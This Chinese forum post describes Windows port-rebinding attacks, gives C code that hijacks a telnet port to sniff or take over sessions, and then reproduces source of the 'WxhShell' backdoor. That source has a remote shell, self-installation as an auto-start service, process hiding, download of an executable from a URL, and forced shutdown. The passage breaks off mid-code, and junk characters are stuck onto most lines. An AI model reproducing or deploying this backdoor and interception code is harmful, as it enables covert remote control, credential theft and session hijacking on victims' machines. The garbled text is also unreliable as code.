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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gi@ji-10  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Cbs4`D,  
IkNt! 2s_  
  saddr.sin_family = AF_INET; N2s%p6RMPD  
s/H"Ab  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z>;+'>XXgx  
l0xFt ~l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D#}Yx]Q1  
dU^<7 K:S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _k.bGYldk  
lILtxVBO2o  
  这意味着什么?意味着可以进行如下的攻击: |ZlT>u  
}_l -'t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~(OIo7#;  
y]f^`2L!8>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z1&GtM  
kS#DKo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nYt\e]3  
,Ysl$^\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E816 YS='  
3b\8907  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C;:L~)C@t  
yZ)aKwj%U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U3+ _'"  
O| 6\g>ew  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q&d&#3Rh  
39aCwhh7v  
  #include ^@*zH ?Rx{  
  #include @))}\:  
  #include (X_,*3Yxk  
  #include    j[J@tM#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jvc?hUcLKT  
  int main() 3 [)s;e  
  { Q}?N4kg  
  WORD wVersionRequested; avt>saR  
  DWORD ret; p@7i=hyt`p  
  WSADATA wsaData; H;*a:tbxO+  
  BOOL val; PUjoi@]  
  SOCKADDR_IN saddr; n &\'Hm  
  SOCKADDR_IN scaddr; <+-Yh_D  
  int err; JQ/t, v$G  
  SOCKET s; keQXJ0  
  SOCKET sc; IgiF,{KE,  
  int caddsize; j #I:6yA3  
  HANDLE mt; L_lDFF  
  DWORD tid;   }L$Xb2^l  
  wVersionRequested = MAKEWORD( 2, 2 ); hLytKPgt  
  err = WSAStartup( wVersionRequested, &wsaData ); *)`kx   
  if ( err != 0 ) { lKV\1(`  
  printf("error!WSAStartup failed!\n"); X=p3KzzX  
  return -1; 0ve`  
  } k$-~_^4m  
  saddr.sin_family = AF_INET; TI[UX16Tz1  
   ,bVS.A'o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R7B,Q(q2-  
&8Jg9#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5rfH;`  
  saddr.sin_port = htons(23); 'Uko^R)(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W%>i$:Qq  
  { =CKuiO.j  
  printf("error!socket failed!\n"); $W/+nmb)@K  
  return -1; 'wz\tT^  
  } vcw>v={x  
  val = TRUE; YXX36  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rQcRjh+E H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5 PGlR!^  
  { a/QtJwIV  
  printf("error!setsockopt failed!\n"); R81{<q'%X  
  return -1; <Qcex3  
  } e8AjO$49  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z/Ns5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "?.'{,Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =f4[=C$&`  
fO^e+M z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 11)/] ?/j  
  { [lNqT1%]  
  ret=GetLastError(); 29Gwv  
  printf("error!bind failed!\n"); >d8x<|D  
  return -1; *GbVMW[A>  
  } KE/-VjZu  
  listen(s,2); c=A(o  
  while(1) 9Z,*h-o  
  { -?< Ww{  
  caddsize = sizeof(scaddr); aho'|%y)  
  //接受连接请求 U1,~bO9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V~(EVF{h  
  if(sc!=INVALID_SOCKET) M}Nb|V09  
  { V$/u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7FmbV/&c  
  if(mt==NULL) [3O^0-:6E  
  { .FIt.XPzv  
  printf("Thread Creat Failed!\n"); }P<Qz^sr_  
  break; p?+lAbe6H  
  } (jU/Wj!q  
  } ]y3pE}R  
  CloseHandle(mt); j5L)N  
  } :s'o~   
  closesocket(s); qbS'|--wH  
  WSACleanup(); $_Y/'IN`k  
  return 0; (k%GY< bP  
  }   ecr886  
  DWORD WINAPI ClientThread(LPVOID lpParam) wYZT D*A2h  
  { wL4Z W8_  
  SOCKET ss = (SOCKET)lpParam; LnP3z5d(  
  SOCKET sc; P!kw;x  
  unsigned char buf[4096]; 3`8dii  
  SOCKADDR_IN saddr; ePf+[pV3  
  long num; 81~Kpx  
  DWORD val; _i5mC,OffN  
  DWORD ret; q`XW5VV{K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 24#bMt#^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !7}IqSs  
  saddr.sin_family = AF_INET; EE+`i%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ac9qj  
  saddr.sin_port = htons(23); )h#]iGVN}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wZ#Rlv,3Wa  
  { J , V  
  printf("error!socket failed!\n"); Ab/j(xr=  
  return -1; W+_RhJ  
  } {9L5Q  
  val = 100; M :V2a<!c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a Sf/4\  
  { 7W"/ N#G  
  ret = GetLastError(); x<)G( Xe*  
  return -1;  >1A*MP4  
  } OA[&Za#w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P}0*{%jB  
  { |'tW=  
  ret = GetLastError(); L'l F/qe^  
  return -1;  {@gAv!  
  } ~3gru>qI&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) } ^i b  
  { EFAGP${F  
  printf("error!socket connect failed!\n"); j Fma|y  
  closesocket(sc); Ur^j$B}  
  closesocket(ss); Z?oG*G:  
  return -1; bLqy!QE  
  } 3o*FPO7?  
  while(1) 5o#Yt  
  { w1r$='*I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m 41t(i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XF}rd.K:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K^zDNIQU  
  num = recv(ss,buf,4096,0); t|V0x3X  
  if(num>0) ahJ1n<  
  send(sc,buf,num,0); +R6a}d/K  
  else if(num==0) 3$VxRz)  
  break; \hlR]m!C  
  num = recv(sc,buf,4096,0); !g>.i`  
  if(num>0) M\oTZ@  
  send(ss,buf,num,0); '9s5OTkN ;  
  else if(num==0) p_{("zQ  
  break; vMla'5|l  
  } e8}Ezy"^  
  closesocket(ss); -Xz&}QA  
  closesocket(sc); 5l DFp9  
  return 0 ; RKZ6}q1n  
  } kS :\Oz\  
JN'cXZJPn  
G^wtE90  
========================================================== @ {#mpDX  
cCY/gEv  
下边附上一个代码,,WXhSHELL "w_N' -}#  
,e`'4H  
========================================================== 6Pn8f  
 U47}QDh  
#include "stdafx.h" vyI%3+N@  
,RxYd6  
#include <stdio.h> pFsc}R/0/8  
#include <string.h> ir16   
#include <windows.h> uj|BQ`k  
#include <winsock2.h> k+^'?D--'P  
#include <winsvc.h> KCuG u}  
#include <urlmon.h> ,xI%A, (,;  
xSK~s  
#pragma comment (lib, "Ws2_32.lib") {/<6v. v  
#pragma comment (lib, "urlmon.lib") #~L h#  
E7zm{BX]  
#define MAX_USER   100 // 最大客户端连接数 kJQ#Wz|z]  
#define BUF_SOCK   200 // sock buffer Oco YV J  
#define KEY_BUFF   255 // 输入 buffer SC &~s$P;  
m-/j1GZ*  
#define REBOOT     0   // 重启 r\`+R"  
#define SHUTDOWN   1   // 关机 Zm ogM7B  
!0,Mp@ j/  
#define DEF_PORT   5000 // 监听端口 IJIzXU  
D]s]"QQ8  
#define REG_LEN     16   // 注册表键长度 ]rN5Ao}2  
#define SVC_LEN     80   // NT服务名长度 )yK[Zb[  
k0-G$|QgIp  
// 从dll定义API A@*:<Hs%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b6(p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X^9d/}uTa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %ir:AS k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WY:&ugGx  
llV3ka^!  
// wxhshell配置信息 Z?Hs@j  
struct WSCFG { G~7 i@Zs  
  int ws_port;         // 监听端口 gb=/#G0R  
  char ws_passstr[REG_LEN]; // 口令 F0vM0 e-  
  int ws_autoins;       // 安装标记, 1=yes 0=no kql0J|P?  
  char ws_regname[REG_LEN]; // 注册表键名 YXurYwV  
  char ws_svcname[REG_LEN]; // 服务名 Em 6Qe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {O<l[|Ip  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C:8_m1Y{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :,b iyJt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {gNV[45  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >gwz,{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5}$b0<em~  
&UCsBqIY  
}; 4MuO1W-  
2QpHvsl_  
// default Wxhshell configuration E{^XlY  
struct WSCFG wscfg={DEF_PORT, Rm1A>1a :  
    "xuhuanlingzhe", A\_|un%  
    1, + b$=[nfG  
    "Wxhshell", -x8nQ%X  
    "Wxhshell", p!O(Y6QM  
            "WxhShell Service", |2\{z{?  
    "Wrsky Windows CmdShell Service", m'\2:mDu0  
    "Please Input Your Password: ", <<](XgR(  
  1, mkh"Kb*{  
  "http://www.wrsky.com/wxhshell.exe", Ch$*Gm19Z  
  "Wxhshell.exe" jcNT<}k C  
    }; Uy ?  
;w|b0V6  
// 消息定义模块 ]lw|pvtd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AcI,N~~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VvFC -r,=G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l\M_-:I+4  
char *msg_ws_ext="\n\rExit.";  z@|GC_L  
char *msg_ws_end="\n\rQuit."; ;,i]w"*  
char *msg_ws_boot="\n\rReboot..."; i wxVl)QL  
char *msg_ws_poff="\n\rShutdown..."; )[mwP.T=  
char *msg_ws_down="\n\rSave to "; 5zFR7/p{  
dVB~Smsr  
char *msg_ws_err="\n\rErr!"; "s!7dKXI"  
char *msg_ws_ok="\n\rOK!"; kr$ b^"Ku  
jdE5~a+  
char ExeFile[MAX_PATH]; -C(b,F%%  
int nUser = 0; 9% l%  
HANDLE handles[MAX_USER]; ae:zWk'!  
int OsIsNt; 3d<HN6&U  
P=3RLL<l  
SERVICE_STATUS       serviceStatus; W^3uEm&l!)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %sHF-n5P  
E9?ph D  
// 函数声明 r]3'74j:  
int Install(void); J psPNa  
int Uninstall(void); 7eWk7&Xul  
int DownloadFile(char *sURL, SOCKET wsh); _k8A$s<d  
int Boot(int flag); ebPgYxVZR  
void HideProc(void); iyj+:t/  
int GetOsVer(void); $zB[B;-!$  
int Wxhshell(SOCKET wsl); h/B>S  
void TalkWithClient(void *cs); D]c`B  
int CmdShell(SOCKET sock); /Q~gU<  
int StartFromService(void); A,r*%&4~  
int StartWxhshell(LPSTR lpCmdLine); ={LMdC~5X  
L?5Ck<!xG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dlhdsj:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,`ZYvF^%  
z]b>VpW:  
// 数据结构和表定义 #2r}?hP/m  
SERVICE_TABLE_ENTRY DispatchTable[] = nqwAQhzy(  
{ JQ4{` =,b  
{wscfg.ws_svcname, NTServiceMain}, 0b4R  
{NULL, NULL} ~T) Q$  
}; .U T@p  
`--TP  
// 自我安装 s21wxu:  
int Install(void) 7^w >Rj  
{ NPFpq,P>  
  char svExeFile[MAX_PATH]; PJ='tJDj  
  HKEY key; 5/po2V9)  
  strcpy(svExeFile,ExeFile); ?nP*\8  
]E]2o  
// 如果是win9x系统,修改注册表设为自启动 1"pw  
if(!OsIsNt) { t |~YEQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2h[85\4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ChCrL [2  
  RegCloseKey(key); f4L`.~b'hb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6oF7:lt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); < yC  
  RegCloseKey(key); D@!=d@V.  
  return 0; rXA*NeA3v  
    } NJNJjdD>  
  } SJIOI@\b  
} R'S0 zp6  
else { x' .:&z  
;vt8R=T  
// 如果是NT以上系统,安装为系统服务 -WYAN:s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C -iK$/U  
if (schSCManager!=0) _x!7}O#k  
{ 6 ND`l5  
  SC_HANDLE schService = CreateService byv[yGa`  
  ( lkBdl#]9  
  schSCManager, _6wFba@>/n  
  wscfg.ws_svcname, `X3^fg  
  wscfg.ws_svcdisp, 1 5A*7|  
  SERVICE_ALL_ACCESS, Yot?=T};3{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6 ~ >FYX  
  SERVICE_AUTO_START, =C~/7N,lW]  
  SERVICE_ERROR_NORMAL, [H=)  
  svExeFile, Zfyo-Wk  
  NULL, rD*sl}  
  NULL, Dgy]ae(Hb3  
  NULL, 4Z/f@ZD  
  NULL, _)\c&.p]f  
  NULL p1vp 8p  
  ); 5|1 T}Z#;  
  if (schService!=0) Ox@sI:CT  
  { 7e<c$t#H  
  CloseServiceHandle(schService); X$yN_7|+  
  CloseServiceHandle(schSCManager); A\#iXOd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &8z[`JW,T  
  strcat(svExeFile,wscfg.ws_svcname); P LueVz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "I QlVi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |_yYLYH'   
  RegCloseKey(key); f aLtdQi  
  return 0; ca>Z7qT!  
    } Z.M,NR  
  } v{A KEX*  
  CloseServiceHandle(schSCManager); G>q(iF'  
} 7[.6axL  
} FHC \?Cg  
A* um{E+   
return 1; AGbhJ=tB  
} PK"c4>q  
0fYj4`4=n  
// 自我卸载 El@(mOu|  
int Uninstall(void) k70|'*Kh  
{ [3@):8  
  HKEY key; Q# ?wXX47  
_e!F~V.  
if(!OsIsNt) { ~ np,_yI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N:"C+ a(  
  RegDeleteValue(key,wscfg.ws_regname); x&A vUJ  
  RegCloseKey(key); 0qFH s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '!1$9o^$  
  RegDeleteValue(key,wscfg.ws_regname); 3I 0eW%,  
  RegCloseKey(key); V|MY!uV  
  return 0; [hRU&z;W  
  } GYB+RU}],  
} Ei({`^  
} F&;   
else { #hw/^AaD-  
gBk5wk_j|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  StYzGJ  
if (schSCManager!=0) /Y^8SO4  
{ [XlB<P=|>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G&f7+e  
  if (schService!=0) La[K!u\B  
  { G"y.Z2$  
  if(DeleteService(schService)!=0) { o{-<L  
  CloseServiceHandle(schService); Z"I/ NGiU  
  CloseServiceHandle(schSCManager); (!?K7<Jv  
  return 0; f0Hq8qAF;^  
  } 99 wc  
  CloseServiceHandle(schService); G6`J1Uk  
  } +K6szGP  
  CloseServiceHandle(schSCManager); F#+.>!  
} b*,3< 9  
} D!TZI  
sY;lt.b  
return 1; #^mqQRpgq  
} KhM.Tc  
'=cKU0 G#  
// 从指定url下载文件 RB3 zHk%  
int DownloadFile(char *sURL, SOCKET wsh) M2T|"Q"=  
{ {8NwFN.  
  HRESULT hr; G5'_a$  
char seps[]= "/"; ms~8QL  
char *token; @C.GKeM*  
char *file; mrZ`Lm#>pS  
char myURL[MAX_PATH]; -fIc4u[  
char myFILE[MAX_PATH]; LP`CS849z2  
t%+$" nP  
strcpy(myURL,sURL); !0fI"3P@r  
  token=strtok(myURL,seps); YL^Z4: p  
  while(token!=NULL) _ 6:ww/  
  { R,Ml&4pZ}  
    file=token; ,8 6K  
  token=strtok(NULL,seps); m)f|:MM  
  } A 0#Y, 1  
d\Jji 6W  
GetCurrentDirectory(MAX_PATH,myFILE); |f NMs  
strcat(myFILE, "\\"); aR:<<IF\  
strcat(myFILE, file); 8B@J Fpg^  
  send(wsh,myFILE,strlen(myFILE),0); ]C *10S`  
send(wsh,"...",3,0); ndOfbu;mf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cgyo_ k  
  if(hr==S_OK) &`@M8-m#F  
return 0; KU2$5[~j  
else H~m]nV,r  
return 1; .5g}rxO8  
K}2Npo FS  
} V.,bwPb{9  
$^Ca: duk  
// 系统电源模块 j-* TXog  
int Boot(int flag) ~t9Mh^gij  
{ ?L`ZKRD  
  HANDLE hToken; H7jTQW0rp5  
  TOKEN_PRIVILEGES tkp; oEAfowXSqk  
X')S;KW  
  if(OsIsNt) { ylkqhs&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 46dc.Yi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,o)4p\nV  
    tkp.PrivilegeCount = 1; U_*3>Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6z]`7`G   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ji##$xC  
if(flag==REBOOT) { qC.i6IL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6UI>GQ  
  return 0; Ma_=-cD  
} FF@`+T  
else { lA4hm4"i(,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *+~D+_,  
  return 0; R2Yl)2 D  
} >p |yf. G  
  } UKYupLu5  
  else { {jhcZ"#>\  
if(flag==REBOOT) { U6a z hi&,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +_-Y`O!Q  
  return 0; '^B3pR:  
} .$^wy3:F"  
else { O,]_ tp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kc|>Q7~{  
  return 0; ?N2X)Y@yi  
} &EGY+p|2Y  
} RAdvIIQp:  
dJaEoF  
return 1; B'!PJj  
} G tG&yeB  
E2-ojL[6  
// win9x进程隐藏模块 Fecx';_1`  
void HideProc(void) 'y'T'2N3  
{ r9+E'\  
w:ORmR .p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _{[k[]  
  if ( hKernel != NULL ) |= tJ|  
  { y{@P 1{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F_ ,L 2J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J'I1,5(  
    FreeLibrary(hKernel); 3Gc ,I:\  
  } [`y:M&@  
3Ne9% "  
return; *?EO n-  
} LDT'FwMjy  
IlcNT_ 5a8  
// 获取操作系统版本 =Jsg{vI  
int GetOsVer(void) }f<fgY  
{ omXBnzT  
  OSVERSIONINFO winfo; NvQY7C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _fVh%_oH1  
  GetVersionEx(&winfo); 9(QU2QY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z}sG3p  
  return 1; ipx@pNW;"  
  else ,ma Aw}=  
  return 0; #)W8.  
} 3X88x-3  
v< 65(I>  
// 客户端句柄模块 }9L 40)8  
int Wxhshell(SOCKET wsl) c%q}"Y0oh  
{ ?&whE!  
  SOCKET wsh; o|rGy 5  
  struct sockaddr_in client; 7bgnZ]r8t  
  DWORD myID; <7vIh0  
I>< 99cwFI  
  while(nUser<MAX_USER) "o\6k"_c>  
{ GCf._8;%  
  int nSize=sizeof(client); ;']vY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W+#}~2&Dv  
  if(wsh==INVALID_SOCKET) return 1; |%M{k A-  
. 1{vpX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ef;& Y>/  
if(handles[nUser]==0) 'DL;c@}37  
  closesocket(wsh); zPX=MfF  
else @&~OB/7B:  
  nUser++; k#8S`W8^  
  } Ez7V>FNX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M^|"be~{'  
Q9Y9{T  
  return 0; MFc=B`/X  
} !7O=<  
yS:IRI.  
// 关闭 socket J[<D/WIH  
void CloseIt(SOCKET wsh) ZaukMEq  
{ oW yN:Qh  
closesocket(wsh); b6LC$"t0  
nUser--; E]HND.`*>  
ExitThread(0); P+*rWJ8gQ  
} y]z)jqX<  
f^[{k {t  
// 客户端请求句柄 bMK#^ZoH  
void TalkWithClient(void *cs) =\ti<  
{ "6I-]:K-  
P-E'cb%ub  
  SOCKET wsh=(SOCKET)cs; h-?q6O/|  
  char pwd[SVC_LEN]; 0I(GB;E  
  char cmd[KEY_BUFF]; oP|pOs\$p  
char chr[1]; -7Aw s)  
int i,j; a0V8L+v(  
DWm;&RPJ  
  while (nUser < MAX_USER) {  rvwl  
Ab^>z  
if(wscfg.ws_passstr) { l ))~&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %U=S6<lbj;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j(@g   
  //ZeroMemory(pwd,KEY_BUFF);  H3/Y  
      i=0; Hg gR=>s  
  while(i<SVC_LEN) { gJcXdv=]2  
{E3<GeHw4  
  // 设置超时 0aTEJX$iZ  
  fd_set FdRead; `aO@N(  
  struct timeval TimeOut; RF,=bOr19  
  FD_ZERO(&FdRead); Mu_mm/U_  
  FD_SET(wsh,&FdRead); N:PA/V^z  
  TimeOut.tv_sec=8; V:0uy>  
  TimeOut.tv_usec=0; 8Y{}p[UFT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0bnVIG2q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C%95~\Ds  
+}`O^#<qLX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }0Kqy;  
  pwd=chr[0]; n&3iv ^  
  if(chr[0]==0xd || chr[0]==0xa) { JucxhjV#,  
  pwd=0; (8@h F#N1  
  break; t_zY0{|P  
  } #v~S",*.f  
  i++; [MQJ71(3  
    } A&}nRP9  
"zeJ4f  
  // 如果是非法用户,关闭 socket O=#/DM;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +EiUAs~H  
} `!Ge"JB6   
jy__Y=1}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yZ?_q$4kEI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p^zEfLTU  
lU50.7<08  
while(1) { f@;>M9)<  
zZ+LisSs&  
  ZeroMemory(cmd,KEY_BUFF); }eDX8b8emA  
\HP,LH[P:  
      // 自动支持客户端 telnet标准   xXY)KI N[  
  j=0; 8@LykJbP  
  while(j<KEY_BUFF) { 0LHiOav  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RESGI}u  
  cmd[j]=chr[0]; "13 :VTs[5  
  if(chr[0]==0xa || chr[0]==0xd) { s:jL/%+COZ  
  cmd[j]=0; 53u.p c  
  break; wJeqa  
  } N5w]2xz!  
  j++; )q]j?Z.  
    } jK C qH$  
a9@l8{)RX  
  // 下载文件 `i>B|g-  
  if(strstr(cmd,"http://")) { Z_OqXo=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wkZ2Y-#='  
  if(DownloadFile(cmd,wsh)) 1z};"A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJFTy+bD  
  else qq9tBCk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !7Nz W7j  
  } xBI"{nGoN  
  else { E~Up\f  
aIt 0;D  
    switch(cmd[0]) { Am=PUQF$  
  4KSP81}/\  
  // 帮助 I|3v&E 1  
  case '?': { T\e)Czz2-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); / =Uv  
    break; "$:y03V  
  } /?dQUu ^z  
  // 安装 RY/ Z~]  
  case 'i': { A Fm*60C  
    if(Install()) BE2\?q-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LN6JH!  
    else c"sw@<HG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _OxnHf:|  
    break; .&yWHdQC:  
    } 4;c_%=cU  
  // 卸载 n%ArA])_&  
  case 'r': { 7jg(j~tQ  
    if(Uninstall()) p_40V%y^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vVN[bD<  
    else {8bY7NH|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bzy=@]`  
    break; OB  i!fLa  
    } TcKKI  
  // 显示 wxhshell 所在路径 7E6?)bgh  
  case 'p': { 2,e|,N"zN  
    char svExeFile[MAX_PATH]; |xgCV@  
    strcpy(svExeFile,"\n\r"); 8H`l"  
      strcat(svExeFile,ExeFile); j&G~;(DY  
        send(wsh,svExeFile,strlen(svExeFile),0); l;VGJMPi  
    break; (b 2^d  
    } pu)9"Ad[ G  
  // 重启 BK\~I  
  case 'b': { "$"mWF-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -JO46 #m  
    if(Boot(REBOOT)) o(SJuZC/U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z-p^3t'{  
    else { &$z1Hz+l  
    closesocket(wsh); a3 _0F@I  
    ExitThread(0); g$T_yT''  
    } >93{=+  
    break; qF6%XKbh=  
    } MLIQ 8=  
  // 关机 O>F.Wf5g  
  case 'd': { I8%'Z>E(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B)cb}.N:  
